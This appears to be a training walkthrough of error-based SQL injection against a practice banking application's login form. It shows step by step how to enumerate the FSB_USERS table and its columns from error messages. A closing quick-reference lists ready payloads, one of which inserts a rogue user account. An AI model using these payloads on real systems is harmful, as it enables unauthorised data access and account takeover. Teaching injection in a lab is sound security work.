SQL Injection Basics Level 2 - Verbose Table Modification

##The Guide##

The input from Step 1 results the application to display the error message as shown

Column 'fsb_users.user_id' is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause

Using the error information above, the attacker can determine that the name of the table storing login information is
FSB_USERS and that it has a column named USER_ID.

The next important piece of information will be the details regarding all the columns of the tables. The first step
towards that is obtaining the name of all the column names of the table.

So we input the text from step 2.
' UNION SELECT * FROM FSB_USERS where user_id = 'JV' GROUP BY user_id ; --

This results in a SQL exception that reveals additional column names.

Column 'FSB_USERS.user_name' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Column 'FSB_USERS.login_id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Column 'FSB_USERS.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

###
Column 'FSB_USERS.creation_date' is invalid in the select list because it is not contained in either an aggregate function or the
GROUP BY clause.

This process is known as database enumeration. Armed with this information, the attacker now attempts to determine
the data type of each column. This is done using the third input data item in the table above for each column.

For example:
' UNION SELECT SUM LPUSER_IDRP FROM FSB_USERS HAVING 1=1--
The exception displayed as under and in Figure 24 does not complain about the SUM operation performed on the column USER_ID. This is a good indication that the column is of numeric type.

Server was unable to process request. -- All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

####Quick References####
Unfortunately Google wont allow brackets, braces or Parenthesis in the comments anymore so please follow the key below. DON't COPY AND PASTE these commands without making the changes as they will not work...

' HAVING 1=1--

' UNION SELECT * FROM FSB_USERS WHERE USER_ID = 'JV' GROUP
BY USER_ID HAVING 1 = 1;--

' UNION SELECT SUMLPLBCOLUMN_NAMERB1
RP FROM FSB_USERS HAVING
1=1 --

'; INSERT INTO FSB_USERS LPUSER_NAME, LOGIN_ID, PASSWORD,
CREATION_DATERP VALUESLP'HAX0R12', 'HACKME12', 'EASY32',
GETDATELPRPRP;--

LP = left Parentheses
RP = Right Parentheses

LB = Left Brace
RB = Right Brace